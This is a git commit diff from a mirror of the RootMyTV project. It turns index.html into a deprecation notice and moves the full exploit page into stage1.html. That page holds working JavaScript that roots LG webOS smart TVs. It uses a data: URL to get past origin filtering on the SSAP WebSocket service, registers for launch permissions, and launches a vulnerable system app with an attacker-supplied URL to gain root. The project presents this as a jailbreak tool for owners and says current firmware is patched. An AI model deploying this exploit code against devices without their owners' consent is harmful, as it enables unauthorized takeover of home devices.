kopia lustrzana https://github.com/RootMyTV/RootMyTV.github.io
commit
b26952e418
|
@ -170,6 +170,12 @@ background-repeat: no-repeat;
|
|||
}
|
||||
}
|
||||
|
||||
@media (min-width: 1024px) {
|
||||
.content-center {
|
||||
max-width: 44em;
|
||||
}
|
||||
}
|
||||
|
||||
#patched {
|
||||
color: red;
|
||||
}
|
||||
|
@ -178,3 +184,25 @@ background-repeat: no-repeat;
|
|||
font-family: monospace;
|
||||
background-color: #282828;
|
||||
}
|
||||
|
||||
article a.deprecated-entry {
|
||||
width: auto;
|
||||
text-align: center;
|
||||
|
||||
padding: 0.5em;
|
||||
border: 1px solid #c4f0fd;
|
||||
position: relative;
|
||||
display: block;
|
||||
border-radius: 0.5em;
|
||||
|
||||
color: unset;
|
||||
box-shadow: 0 0 1px 1px #fff, 0 0 0.5em 0.1em rgba(11, 182, 191, 0.8), inset 0 0 0.5em 0.1em rgba(11, 182, 191, 0.8), inset 0 0 1px 1px #fff;
|
||||
|
||||
font-size: 2em;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
article a.deprecated-entry.primary {
|
||||
color: #ffe0ff;
|
||||
box-shadow: 0 0 1px 1px #fff, 0 0 0.5em 0.2em #731178, inset 0 0 0.5em 0.2em #731178, inset 0 0 1px 1px #fff;
|
||||
}
|
349
index.html
349
index.html
|
@ -2,7 +2,7 @@
|
|||
<html>
|
||||
|
||||
<head>
|
||||
<title>RootMyTV - Stage 1</title>
|
||||
<title>RootMyTV</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes, minimum-scale=1.0">
|
||||
<meta name="description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
||||
<meta name="keywords" content="webos, root, exploit, slide, rootmy, rootmytv, jailbreak, hack, unlock, homebrew, channel">
|
||||
|
@ -20,352 +20,17 @@
|
|||
<hr>
|
||||
<section class="content-center">
|
||||
<article id="main-article">
|
||||
<p>
|
||||
This webpage will exploit your LG webOS smart TV, gain local root privileges,
|
||||
and install the <a href="https://github.com/webosbrew/webos-homebrew-channel">
|
||||
webOS Homebrew Channel.</a>
|
||||
</p>
|
||||
<p id="patched">
|
||||
If you get a <span class="code">Denied method call</span> error or your
|
||||
TV reboots but Homebrew Channel is not installed, then <b>your TV is
|
||||
patched</b>. All firmware released since mid-2022 is patched.
|
||||
There is no need to report this to us.
|
||||
</p>
|
||||
<p>
|
||||
<b>/!\ IMPORTANT /!\ :</b> Read <a href="https://github.com/RootMyTV/RootMyTV.github.io">our documentation</a>
|
||||
<b>BEFORE</b> you continue - or risk bricking your TV!
|
||||
</p>
|
||||
<p>
|
||||
Once you're ready to proceed, drag the slider below (<i class="click-here">or press "5" / click here</i>).
|
||||
</p>
|
||||
<div class="slider-bar">
|
||||
<div class="slider-button"><p>-></p></div>
|
||||
<p class="slider-text">slide to root</p>
|
||||
</div>
|
||||
<p>
|
||||
Note: You must open this webpage on your TV to trigger the exploit.
|
||||
RootMyTV (v1/v2) has been patched for years, and your TV is almost certainly not vulnerable.
|
||||
<br>
|
||||
We recommend checking whether your TV is rootable with another method.
|
||||
</p>
|
||||
<a href="https://cani.rootmy.tv/" class="deprecated-entry primary">Find other exploits for your TV</a>
|
||||
<br>
|
||||
<a href="stage1.html" class="deprecated-entry">Proceed with RootMyTV</a>
|
||||
</article>
|
||||
</section>
|
||||
<hr>
|
||||
|
||||
<script>
|
||||
window.ORIGIN_URL =
|
||||
window.location.protocol === 'data:' ? '__START_ORIGIN__' :
|
||||
window.location.protocol === 'file:' ? 'https://rootmy.tv' : window.location.href;
|
||||
|
||||
window.onerror = function (err) {
|
||||
console.error(err);
|
||||
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
|
||||
};
|
||||
</script>
|
||||
<script>
|
||||
var is_webos = navigator.userAgent.toLowerCase().indexOf("webos") !== -1 ||
|
||||
navigator.userAgent.toLowerCase().indexOf("netcast") !== -1 ||
|
||||
navigator.userAgent.toLowerCase().indexOf("smarttv") !== -1;
|
||||
console.log("is_webos: " + is_webos)
|
||||
// Exploit data: url navigation for browsers which didn't have following patch
|
||||
// applied yet (webOS 3.x):
|
||||
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
|
||||
try {
|
||||
if (window.location.protocol !== 'data:' && is_webos) {
|
||||
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
|
||||
.replace('="css/common.css"', '="' + new URL('css/common.css', window.location.href).href + '"')
|
||||
.replace('__START_ORIGIN__', window.location.href));
|
||||
}
|
||||
} catch (err) {}
|
||||
|
||||
function log(str) {
|
||||
var logBox = document.querySelector('#log');
|
||||
logBox.innerText = logBox.innerText + str + '\n';
|
||||
logBox.scrollIntoView(false)
|
||||
}
|
||||
|
||||
// Minimal implementation of WebSocket API that we use to workaround origin
|
||||
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
|
||||
// null header to be sent, which is explicitly allowed.
|
||||
function ProxyWebSocket(target) {
|
||||
|
||||
// Proxy payload - this function is run in data: iframe and is meant to exchange
|
||||
// WebSocket calls and events with parent frame.
|
||||
function proxyPayload(address) {
|
||||
// Helper function that forwards events/messages to parent frame
|
||||
function forward(type, data) {
|
||||
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
|
||||
}
|
||||
|
||||
try {
|
||||
var conn = new WebSocket(address);
|
||||
conn.onopen = function (evt) {forward('open', evt);}
|
||||
conn.onclose = function (evt) {forward('close', evt);}
|
||||
conn.onerror = function (evt) {forward('error', evt);}
|
||||
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
|
||||
window.addEventListener("message", function (event) {
|
||||
var msg = JSON.parse(event.data);
|
||||
if (msg.type === 'send') {
|
||||
conn.send(msg.data);
|
||||
}
|
||||
}, false);
|
||||
} catch (err) {
|
||||
forward('error', err);
|
||||
}
|
||||
}
|
||||
|
||||
var self = this;
|
||||
this.proxy = document.createElement('iframe');
|
||||
this.proxy.style.display = 'none';
|
||||
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
|
||||
window.addEventListener("message", function (event) {
|
||||
if (event.source !== self.proxy.contentWindow) return;
|
||||
const msg = JSON.parse(event.data);
|
||||
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
|
||||
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
|
||||
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
|
||||
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
|
||||
if (msg.type === 'log') console.info('proxy:', msg.data);
|
||||
}, false);
|
||||
document.querySelector('body').appendChild(this.proxy);
|
||||
return this;
|
||||
}
|
||||
ProxyWebSocket.prototype.send = function (data) {
|
||||
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
|
||||
}
|
||||
ProxyWebSocket.prototype.close = function () {
|
||||
this.proxy.parentNode.removeChild(this.proxy);
|
||||
}
|
||||
|
||||
// Final exploit code
|
||||
var conn = null;
|
||||
function bootstrap(target, url) {
|
||||
try {
|
||||
log('0. Connecting...');
|
||||
|
||||
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
|
||||
conn = new ProxyWebSocket('ws://' + target + ':3000');
|
||||
conn.onopen = function (evt) {
|
||||
console.info('open', evt);
|
||||
log('1. Connected, registering... Accept prompt on the TV.');
|
||||
const handshake = {
|
||||
id: "reg_req",
|
||||
type: "register",
|
||||
payload: {
|
||||
forcePairing: false,
|
||||
pairingType: "PROMPT",
|
||||
"client-key": "xxx",
|
||||
|
||||
// Minimal manifest that gives us permission to launch a system
|
||||
// application
|
||||
manifest: {
|
||||
manifestVersion: 1,
|
||||
"localizedAppNames": {
|
||||
"": "RootMyTV",
|
||||
},
|
||||
permissions: ["LAUNCH", "READ_INSTALLED_APPS"],
|
||||
},
|
||||
}
|
||||
};
|
||||
conn.send(JSON.stringify(handshake));
|
||||
};
|
||||
|
||||
const pendingRequests = {};
|
||||
function request(uri, payload, callback) {
|
||||
const id = String(Date.now());
|
||||
conn.send(JSON.stringify({
|
||||
id: id,
|
||||
type: "request",
|
||||
uri: uri,
|
||||
payload: payload,
|
||||
}));
|
||||
pendingRequests[id] = callback;
|
||||
}
|
||||
|
||||
conn.onmessage = function (evt) {
|
||||
const msg = JSON.parse(evt.data);
|
||||
|
||||
if (msg.type === 'registered') {
|
||||
log('2. Registered - looking for vulnerable apps...');
|
||||
request('ssap://com.webos.applicationManager/listApps', {}, function(msg) {
|
||||
if (msg.type === 'response') {
|
||||
const candidates = {
|
||||
"com.webos.app.facebooklogin": {
|
||||
priority: 1000,
|
||||
params: { server: url.replace('http://', '').replace('https://', '') + "#" },
|
||||
},
|
||||
"com.webos.app.acrcard": {
|
||||
// acrcard is broken on 3.x? worth debugging.
|
||||
priority: (navigator.userAgent.indexOf("Chrome/38.0") !== -1) ? -1000 : 2000,
|
||||
params: { contentTarget: url },
|
||||
},
|
||||
"com.webos.app.alibaba": {
|
||||
priority: 2500,
|
||||
params: { target: url },
|
||||
},
|
||||
};
|
||||
|
||||
var bestMatch = null;
|
||||
msg.payload.apps.forEach(function(app) {
|
||||
if (app.id in candidates) {
|
||||
log("3. Found " + app.id);
|
||||
if (bestMatch === null || candidates[bestMatch].priority < candidates[app.id].priority) {
|
||||
bestMatch = app.id;
|
||||
}
|
||||
}
|
||||
});
|
||||
if (!bestMatch) {
|
||||
log("3. No vulnerable apps found :(");
|
||||
} else {
|
||||
log("3. Launching " + bestMatch + "...");
|
||||
request("ssap://system.launcher/launch", {
|
||||
id: bestMatch,
|
||||
params: candidates[bestMatch].params,
|
||||
}, function(msg) {
|
||||
log("3. Launch result: " + JSON.stringify(msg));
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
} else if (msg.type === 'response') {
|
||||
if (pendingRequests[msg.id]) {
|
||||
pendingRequests[msg.id](msg);
|
||||
delete pendingRequests[msg.id];
|
||||
} else if (msg.id !== 'reg_req') {
|
||||
log('Unexpected response: ' + evt.data);
|
||||
}
|
||||
} else if (msg.type === 'error') {
|
||||
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
|
||||
if (pendingRequests[msg.id]) {
|
||||
pendingRequests[msg.id](msg);
|
||||
delete pendingRequests[msg.id];
|
||||
}
|
||||
} else {
|
||||
log('Unexpected message: ' + evt.data);
|
||||
}
|
||||
};
|
||||
conn.onclose = function (evt) {
|
||||
console.info('close', evt);
|
||||
log('Closed');
|
||||
};
|
||||
conn.onerror = function (evt) {
|
||||
console.info('error', evt);
|
||||
if (evt.message && evt.message.indexOf('insecure') !== -1) {
|
||||
log('Error occured during connection... Attempting data URL hack...');
|
||||
} else {
|
||||
log('Error occured during connection - Do you have LG Connect Apps enabled?');
|
||||
}
|
||||
};
|
||||
} catch (err) {
|
||||
log("An unexpected error occured: " + err.toString());
|
||||
}
|
||||
}
|
||||
function begin_exploit() {
|
||||
// replace main body with log window
|
||||
document.querySelector("#main-article").innerHTML = "<pre id='log'></pre>";
|
||||
|
||||
var is_local = window.location.protocol === 'file:';
|
||||
|
||||
if (!is_local && !is_webos) {
|
||||
log("[Warning] You should be visiting this page from a webOS device, not your desktop web browser!");
|
||||
}
|
||||
|
||||
// Allow people to download the exploit page to manually set target IP,
|
||||
// in case direct on-tv deployment fails for some reason.
|
||||
var target = is_local ? prompt('Enter IP address of Your TV') : '127.0.0.1';
|
||||
bootstrap(target, new URL('stage2.html', ORIGIN_URL).href);
|
||||
}
|
||||
|
||||
// listen for "5" key to be pressed
|
||||
document.addEventListener("keydown", function(event) {
|
||||
if (event.keyCode === 53) {
|
||||
begin_exploit();
|
||||
}
|
||||
});
|
||||
|
||||
document.querySelector('.click-here').addEventListener('click', function (event) {
|
||||
begin_exploit();
|
||||
});
|
||||
|
||||
/* slider animation logic */
|
||||
var slider = document.getElementsByClassName("slider-button")[0];
|
||||
var sliderText = document.getElementsByClassName("slider-text")[0];
|
||||
var startX = 0;
|
||||
var endX = 0;
|
||||
var posX = 0;
|
||||
var grabbed = false;
|
||||
var velX = 0;
|
||||
var lastUpdate = Date.now();
|
||||
var prevPosX = 0;
|
||||
var moved = false;
|
||||
|
||||
function slidermousedown(e) {
|
||||
e.preventDefault();
|
||||
startX = e.clientX;
|
||||
grabbed = true;
|
||||
endX = Math.floor(slider.parentElement.clientWidth * 0.827);
|
||||
|
||||
window.onmousemove = slidermousemove;
|
||||
window.onmouseup = slidermouseup;
|
||||
return false;
|
||||
}
|
||||
|
||||
function slidermousemove(e) {
|
||||
e.preventDefault();
|
||||
var deltaX = e.clientX - startX;
|
||||
moved = true;
|
||||
if (deltaX < 0) {
|
||||
deltaX = 0;
|
||||
} else if (deltaX > endX) {
|
||||
deltaX = endX;
|
||||
}
|
||||
posX = deltaX; // XXX fixme
|
||||
}
|
||||
|
||||
function slidermouseup(e) {
|
||||
window.onmousemove = null;
|
||||
window.onmouseup = null;
|
||||
velX = 0;
|
||||
if (posX == endX || (posX == 0 && !moved)) {
|
||||
begin_exploit();
|
||||
slider.onmousedown = null;
|
||||
} else {
|
||||
grabbed = false;
|
||||
}
|
||||
moved = false;
|
||||
}
|
||||
|
||||
function animate_tick() {
|
||||
var now = Date.now();
|
||||
var dt = now - lastUpdate;
|
||||
ticks = dt/(1000/60);
|
||||
if (ticks > 4) ticks = 4;
|
||||
lastUpdate = now;
|
||||
|
||||
if (!grabbed && posX != 0) {
|
||||
var accel = (0.5 + posX/200) * ticks;
|
||||
velX -= accel;
|
||||
posX += velX * ticks;
|
||||
|
||||
if (posX < 0) {
|
||||
velX *= -0.3;
|
||||
posX *= -0.3;
|
||||
}
|
||||
|
||||
if (posX < 0.1) {
|
||||
posX = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (prevPosX != posX) {
|
||||
slider.style.left = Math.floor(posX) + "px";
|
||||
sliderText.style.opacity = 1-(posX/endX);
|
||||
}
|
||||
|
||||
prevPosX = posX;
|
||||
window.requestAnimationFrame(animate_tick);
|
||||
}
|
||||
|
||||
slider.onmousedown = slidermousedown;
|
||||
window.requestAnimationFrame(animate_tick);
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
|
|
@ -0,0 +1,371 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<title>RootMyTV - Stage 1</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes, minimum-scale=1.0">
|
||||
<meta name="description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
||||
<meta name="keywords" content="webos, root, exploit, slide, rootmy, rootmytv, jailbreak, hack, unlock, homebrew, channel">
|
||||
<meta property="og:title" content="RootMy.TV">
|
||||
<meta property="og:description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
||||
<meta property="og:image" content="https://rootmy.tv/img/thumb.jpg">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<link rel="stylesheet" href="css/common.css" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<header>
|
||||
<h1>RootMy.TV<small> 2.0</small></h1>
|
||||
</header>
|
||||
<hr>
|
||||
<section class="content-center">
|
||||
<article id="main-article">
|
||||
<p>
|
||||
This webpage will exploit your LG webOS smart TV, gain local root privileges,
|
||||
and install the <a href="https://github.com/webosbrew/webos-homebrew-channel">
|
||||
webOS Homebrew Channel.</a>
|
||||
</p>
|
||||
<p id="patched">
|
||||
If you get a <span class="code">Denied method call</span> error or your
|
||||
TV reboots but Homebrew Channel is not installed, then <b>your TV is
|
||||
patched</b>. All firmware released since mid-2022 is patched.
|
||||
There is no need to report this to us.
|
||||
</p>
|
||||
<p>
|
||||
<b>/!\ IMPORTANT /!\ :</b> Read <a href="https://github.com/RootMyTV/RootMyTV.github.io">our documentation</a>
|
||||
<b>BEFORE</b> you continue - or risk bricking your TV!
|
||||
</p>
|
||||
<p>
|
||||
Once you're ready to proceed, drag the slider below (<i class="click-here">or press "5" / click here</i>).
|
||||
</p>
|
||||
<div class="slider-bar">
|
||||
<div class="slider-button"><p>-></p></div>
|
||||
<p class="slider-text">slide to root</p>
|
||||
</div>
|
||||
<p>
|
||||
Note: You must open this webpage on your TV to trigger the exploit.
|
||||
</p>
|
||||
</article>
|
||||
</section>
|
||||
<hr>
|
||||
|
||||
<script>
|
||||
window.ORIGIN_URL =
|
||||
window.location.protocol === 'data:' ? '__START_ORIGIN__' :
|
||||
window.location.protocol === 'file:' ? 'https://rootmy.tv' : window.location.href;
|
||||
|
||||
window.onerror = function (err) {
|
||||
console.error(err);
|
||||
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
|
||||
};
|
||||
</script>
|
||||
<script>
|
||||
var is_webos = navigator.userAgent.toLowerCase().indexOf("webos") !== -1 ||
|
||||
navigator.userAgent.toLowerCase().indexOf("netcast") !== -1 ||
|
||||
navigator.userAgent.toLowerCase().indexOf("smarttv") !== -1;
|
||||
console.log("is_webos: " + is_webos)
|
||||
// Exploit data: url navigation for browsers which didn't have following patch
|
||||
// applied yet (webOS 3.x):
|
||||
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
|
||||
try {
|
||||
if (window.location.protocol !== 'data:' && is_webos) {
|
||||
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
|
||||
.replace('="css/common.css"', '="' + new URL('css/common.css', window.location.href).href + '"')
|
||||
.replace('__START_ORIGIN__', window.location.href));
|
||||
}
|
||||
} catch (err) {}
|
||||
|
||||
function log(str) {
|
||||
var logBox = document.querySelector('#log');
|
||||
logBox.innerText = logBox.innerText + str + '\n';
|
||||
logBox.scrollIntoView(false)
|
||||
}
|
||||
|
||||
// Minimal implementation of WebSocket API that we use to workaround origin
|
||||
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
|
||||
// null header to be sent, which is explicitly allowed.
|
||||
function ProxyWebSocket(target) {
|
||||
|
||||
// Proxy payload - this function is run in data: iframe and is meant to exchange
|
||||
// WebSocket calls and events with parent frame.
|
||||
function proxyPayload(address) {
|
||||
// Helper function that forwards events/messages to parent frame
|
||||
function forward(type, data) {
|
||||
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
|
||||
}
|
||||
|
||||
try {
|
||||
var conn = new WebSocket(address);
|
||||
conn.onopen = function (evt) {forward('open', evt);}
|
||||
conn.onclose = function (evt) {forward('close', evt);}
|
||||
conn.onerror = function (evt) {forward('error', evt);}
|
||||
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
|
||||
window.addEventListener("message", function (event) {
|
||||
var msg = JSON.parse(event.data);
|
||||
if (msg.type === 'send') {
|
||||
conn.send(msg.data);
|
||||
}
|
||||
}, false);
|
||||
} catch (err) {
|
||||
forward('error', err);
|
||||
}
|
||||
}
|
||||
|
||||
var self = this;
|
||||
this.proxy = document.createElement('iframe');
|
||||
this.proxy.style.display = 'none';
|
||||
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
|
||||
window.addEventListener("message", function (event) {
|
||||
if (event.source !== self.proxy.contentWindow) return;
|
||||
const msg = JSON.parse(event.data);
|
||||
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
|
||||
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
|
||||
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
|
||||
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
|
||||
if (msg.type === 'log') console.info('proxy:', msg.data);
|
||||
}, false);
|
||||
document.querySelector('body').appendChild(this.proxy);
|
||||
return this;
|
||||
}
|
||||
ProxyWebSocket.prototype.send = function (data) {
|
||||
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
|
||||
}
|
||||
ProxyWebSocket.prototype.close = function () {
|
||||
this.proxy.parentNode.removeChild(this.proxy);
|
||||
}
|
||||
|
||||
// Final exploit code
|
||||
var conn = null;
|
||||
function bootstrap(target, url) {
|
||||
try {
|
||||
log('0. Connecting...');
|
||||
|
||||
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
|
||||
conn = new ProxyWebSocket('ws://' + target + ':3000');
|
||||
conn.onopen = function (evt) {
|
||||
console.info('open', evt);
|
||||
log('1. Connected, registering... Accept prompt on the TV.');
|
||||
const handshake = {
|
||||
id: "reg_req",
|
||||
type: "register",
|
||||
payload: {
|
||||
forcePairing: false,
|
||||
pairingType: "PROMPT",
|
||||
"client-key": "xxx",
|
||||
|
||||
// Minimal manifest that gives us permission to launch a system
|
||||
// application
|
||||
manifest: {
|
||||
manifestVersion: 1,
|
||||
"localizedAppNames": {
|
||||
"": "RootMyTV",
|
||||
},
|
||||
permissions: ["LAUNCH", "READ_INSTALLED_APPS"],
|
||||
},
|
||||
}
|
||||
};
|
||||
conn.send(JSON.stringify(handshake));
|
||||
};
|
||||
|
||||
const pendingRequests = {};
|
||||
function request(uri, payload, callback) {
|
||||
const id = String(Date.now());
|
||||
conn.send(JSON.stringify({
|
||||
id: id,
|
||||
type: "request",
|
||||
uri: uri,
|
||||
payload: payload,
|
||||
}));
|
||||
pendingRequests[id] = callback;
|
||||
}
|
||||
|
||||
conn.onmessage = function (evt) {
|
||||
const msg = JSON.parse(evt.data);
|
||||
|
||||
if (msg.type === 'registered') {
|
||||
log('2. Registered - looking for vulnerable apps...');
|
||||
request('ssap://com.webos.applicationManager/listApps', {}, function(msg) {
|
||||
if (msg.type === 'response') {
|
||||
const candidates = {
|
||||
"com.webos.app.facebooklogin": {
|
||||
priority: 1000,
|
||||
params: { server: url.replace('http://', '').replace('https://', '') + "#" },
|
||||
},
|
||||
"com.webos.app.acrcard": {
|
||||
// acrcard is broken on 3.x? worth debugging.
|
||||
priority: (navigator.userAgent.indexOf("Chrome/38.0") !== -1) ? -1000 : 2000,
|
||||
params: { contentTarget: url },
|
||||
},
|
||||
"com.webos.app.alibaba": {
|
||||
priority: 2500,
|
||||
params: { target: url },
|
||||
},
|
||||
};
|
||||
|
||||
var bestMatch = null;
|
||||
msg.payload.apps.forEach(function(app) {
|
||||
if (app.id in candidates) {
|
||||
log("3. Found " + app.id);
|
||||
if (bestMatch === null || candidates[bestMatch].priority < candidates[app.id].priority) {
|
||||
bestMatch = app.id;
|
||||
}
|
||||
}
|
||||
});
|
||||
if (!bestMatch) {
|
||||
log("3. No vulnerable apps found :(");
|
||||
} else {
|
||||
log("3. Launching " + bestMatch + "...");
|
||||
request("ssap://system.launcher/launch", {
|
||||
id: bestMatch,
|
||||
params: candidates[bestMatch].params,
|
||||
}, function(msg) {
|
||||
log("3. Launch result: " + JSON.stringify(msg));
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
} else if (msg.type === 'response') {
|
||||
if (pendingRequests[msg.id]) {
|
||||
pendingRequests[msg.id](msg);
|
||||
delete pendingRequests[msg.id];
|
||||
} else if (msg.id !== 'reg_req') {
|
||||
log('Unexpected response: ' + evt.data);
|
||||
}
|
||||
} else if (msg.type === 'error') {
|
||||
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
|
||||
if (pendingRequests[msg.id]) {
|
||||
pendingRequests[msg.id](msg);
|
||||
delete pendingRequests[msg.id];
|
||||
}
|
||||
} else {
|
||||
log('Unexpected message: ' + evt.data);
|
||||
}
|
||||
};
|
||||
conn.onclose = function (evt) {
|
||||
console.info('close', evt);
|
||||
log('Closed');
|
||||
};
|
||||
conn.onerror = function (evt) {
|
||||
console.info('error', evt);
|
||||
if (evt.message && evt.message.indexOf('insecure') !== -1) {
|
||||
log('Error occured during connection... Attempting data URL hack...');
|
||||
} else {
|
||||
log('Error occured during connection - Do you have LG Connect Apps enabled?');
|
||||
}
|
||||
};
|
||||
} catch (err) {
|
||||
log("An unexpected error occured: " + err.toString());
|
||||
}
|
||||
}
|
||||
function begin_exploit() {
|
||||
// replace main body with log window
|
||||
document.querySelector("#main-article").innerHTML = "<pre id='log'></pre>";
|
||||
|
||||
var is_local = window.location.protocol === 'file:';
|
||||
|
||||
if (!is_local && !is_webos) {
|
||||
log("[Warning] You should be visiting this page from a webOS device, not your desktop web browser!");
|
||||
}
|
||||
|
||||
// Allow people to download the exploit page to manually set target IP,
|
||||
// in case direct on-tv deployment fails for some reason.
|
||||
var target = is_local ? prompt('Enter IP address of Your TV') : '127.0.0.1';
|
||||
bootstrap(target, new URL('stage2.html', ORIGIN_URL).href);
|
||||
}
|
||||
|
||||
// listen for "5" key to be pressed
|
||||
document.addEventListener("keydown", function(event) {
|
||||
if (event.keyCode === 53) {
|
||||
begin_exploit();
|
||||
}
|
||||
});
|
||||
|
||||
document.querySelector('.click-here').addEventListener('click', function (event) {
|
||||
begin_exploit();
|
||||
});
|
||||
|
||||
/* slider animation logic */
|
||||
var slider = document.getElementsByClassName("slider-button")[0];
|
||||
var sliderText = document.getElementsByClassName("slider-text")[0];
|
||||
var startX = 0;
|
||||
var endX = 0;
|
||||
var posX = 0;
|
||||
var grabbed = false;
|
||||
var velX = 0;
|
||||
var lastUpdate = Date.now();
|
||||
var prevPosX = 0;
|
||||
var moved = false;
|
||||
|
||||
function slidermousedown(e) {
|
||||
e.preventDefault();
|
||||
startX = e.clientX;
|
||||
grabbed = true;
|
||||
endX = Math.floor(slider.parentElement.clientWidth * 0.827);
|
||||
|
||||
window.onmousemove = slidermousemove;
|
||||
window.onmouseup = slidermouseup;
|
||||
return false;
|
||||
}
|
||||
|
||||
function slidermousemove(e) {
|
||||
e.preventDefault();
|
||||
var deltaX = e.clientX - startX;
|
||||
moved = true;
|
||||
if (deltaX < 0) {
|
||||
deltaX = 0;
|
||||
} else if (deltaX > endX) {
|
||||
deltaX = endX;
|
||||
}
|
||||
posX = deltaX; // XXX fixme
|
||||
}
|
||||
|
||||
function slidermouseup(e) {
|
||||
window.onmousemove = null;
|
||||
window.onmouseup = null;
|
||||
velX = 0;
|
||||
if (posX == endX || (posX == 0 && !moved)) {
|
||||
begin_exploit();
|
||||
slider.onmousedown = null;
|
||||
} else {
|
||||
grabbed = false;
|
||||
}
|
||||
moved = false;
|
||||
}
|
||||
|
||||
function animate_tick() {
|
||||
var now = Date.now();
|
||||
var dt = now - lastUpdate;
|
||||
ticks = dt/(1000/60);
|
||||
if (ticks > 4) ticks = 4;
|
||||
lastUpdate = now;
|
||||
|
||||
if (!grabbed && posX != 0) {
|
||||
var accel = (0.5 + posX/200) * ticks;
|
||||
velX -= accel;
|
||||
posX += velX * ticks;
|
||||
|
||||
if (posX < 0) {
|
||||
velX *= -0.3;
|
||||
posX *= -0.3;
|
||||
}
|
||||
|
||||
if (posX < 0.1) {
|
||||
posX = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (prevPosX != posX) {
|
||||
slider.style.left = Math.floor(posX) + "px";
|
||||
sliderText.style.opacity = 1-(posX/endX);
|
||||
}
|
||||
|
||||
prevPosX = posX;
|
||||
window.requestAnimationFrame(animate_tick);
|
||||
}
|
||||
|
||||
slider.onmousedown = slidermousedown;
|
||||
window.requestAnimationFrame(animate_tick);
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
Ładowanie…
Reference in New Issue